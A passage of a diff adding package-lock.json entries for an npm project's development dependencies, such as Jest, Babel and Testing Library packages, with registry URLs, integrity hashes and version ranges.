"https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.21", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.21.tgz", + "integrity": "sha512-SRfKmRe1KvYnxjEMtxEr+J4HIeMX5YBg/qhRHpxEIGjhX1rshcHlnFUE9K0GazhVKWM7B+nARSkV8LuvJdJ5/g==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", + "dev": true + }, + "node_modules/@sinonjs/commons": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz", + "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==", + "dev": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", + "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^3.0.0" + } + }, + "node_modules/@testing-library/dom": { + "version": "9.3.4", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-9.3.4.tgz", + "integrity": "sha512-FlS4ZWlp97iiNWig0Muq8p+3rVDjRiYE+YKGbAqXOu9nwJFFOdL00kFpz42M+4huzYi86vAK1sOOfyOG45muIQ==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.2.0.tgz", + "integrity": "sha512-+BVQlJ9cmEn5RDMUS8c2+TU6giLvzaHZ8sU/x0Jj7fk+6/46wPdwlgOPcpxS17CjcanBi/3VmGMqVr2rmbUmNw==", + "dev": true, + "dependencies": { + "@adobe/css-tools": "^4.3.2", + "@babel/runtime": "^7.9.2", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.6.3", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + }, + "peerDependencies": { + "@jest/globals": ">= 28", + "@types/jest": ">= 28", + "jest": ">= 28", + "vitest": ">= 0.32" + }, + "peerDependenciesMeta": { + "@jest/globals": { + "optional": true + }, + "@types/jest": { + "optional": true + }, + "jest": { + "optional": true + }, + "vitest": { + "optional": true + } + } + }, + "node_modules/@testing-library/jest-dom/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", + "dev": true + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.8", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.8.tgz", + "integrity": "sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.5.tgz", + "integrity": "sha512-WXCyOcRtH37HAUkpXhUduaxdm82b4GSlyTqajXviN4EfiuPgNYR109xMCKvpl6zPIpua0DGlMEDCq+g8EdoheQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/graceful-fs": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", + "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jsdom": { + "version": "20.0.1", + "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.1.tgz", + "integrity": "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/tough-cookie": "*", + "parse5": "^7.0.0" + } + }, + "node_modules/@types/node": { + "version": "20.11.5", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.11.5.tgz", + "integrity": "sha512-g557vgQjUUfN76MZAN/dt1z3dzcUsimuysco0KeluHgrPdJXkP/XdAURgyO2W9fZWHRtRBiVKzKn8vyOAwlG+w==", + "dev": true, + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", + "dev": true + }, + "node_modules/@types/tough-cookie": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", + "dev": true + }, + "node_modules/@types/yargs": { + "version": "17.0.32", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.32.tgz", + "integrity": "sha512-xQ67Yc/laOG5uMfX/093MRlGGCIBzZMarVa+gfNKJxWAIgykYpVGkBdbqEzGDDfCrVUj6Hiff4mTZ5BA6TmAog==", + "dev": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", + "dev": true + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "deprecated": "Use your platform's native atob() and btoa() methods instead", + "dev": true + }, + "node_modules/acorn": { + "version": "8.11.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", + "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-7.0.1.tgz", + "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==", + "dev": true, + "dependencies": { + "acorn": "^8.1.0", + "acorn-walk": "^8.0.2" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.2.tgz", + "integrity": "sha512-cjkyv4OtNCIeqhHrfS81QWXoCBPExR/J62oyEqepVw8WaQeSqpW2uhuLPh1m9eWhDuOo/jUXVTlifvesOWp/4A==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "dev": true, + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/babel-jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", + "integrity": "sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==", + "dev": true, + "dependencies": { + "@jest/transform": "^29.7.0", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^29.6.3", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.8.0" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-istanbul/node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.6.3.tgz", + "integrity": "sha512-ESAc/RJvGTFEzRwOTT4+lNDk/GNHMkKbNzsvT0qKRfDyyYTskxB5rnU2njIDYVxXCBHHEI1c0YwHob3WaYujOg==", + "dev": true, + "dependencies": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.1.14", + "@types/babel__traverse": "^7.0.6" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.7", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.7.tgz", + "integrity": "sha512-LidDk/tEGDfuHW2DWh/Hgo4rmnw3cduK6ZkOI1NPFceSK3n/yAGeOsNT7FLnSGHkXj3RHGSEVkN3FsCTY6w2CQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.4.4", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.8.7", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.7.tgz", + "integrity": "sha512-KyDvZYxAzkC0Aj2dAPyDzi2Ym15e5JKZSK+maI7NAwSqofvuFglbSsxE7wUOvTg9oFVnHMzVzBKcqEb4PJgtOA==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.4", + "core-js-compat": "^3.33.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.4.tgz", + "integrity": "sha512-S/x2iOCvDaCASLYsOOgWOq4bCfKYVqvO/uxjkaYyZ3rVsVE3CeAI/c84NpyuBBymEgNvHgjEot3a9/Z/kXvqsg==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.4" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz", + "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.8.3", + "@babel/plugin-syntax-import-meta": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.8.3", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-jest": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-29.6.3.tgz", + "integrity": "sha512-0B3bhxR6snWXJZtR/RliHTDPRgn1sNHOR0yVtq/IiQFyuOVjFS+wuio/R4gSNkyYmKmJB4wGZv2NZanmKmTnNA==", + "dev": true, + "dependencies": { + "babel-plugin-jest-hoist": "^29.6.3", + "babel-preset-current-node-syntax": "^1.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.22.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.22.2.tgz", + "integrity": "sha512-0UgcrvQmBDvZHFGdYUehrCNIazki7/lUP3kkoi/r3YB2amZbFM9J43ZRkJTXBUZK4gmx56+Sqk9+Vs9mwZx9+A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001565", + "electron-to-chromium": "^1.4.601", + "node-releases": "^2.0.14", + "update-browserslist-db": "^1.0.13" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dev": true, + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/call-bind": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.5.tgz", + "integrity": "sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.1", + "set-function-length": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001578", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001578.tgz", + "integrity": "sha512-J/jkFgsQ3NEl4w2lCoM9ZPxrD+FoBNJ7uJUpGVjIg/j0OwJosWM36EPDv+Yyi0V4twBk9pPmlFS+PLykgEvUmg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": 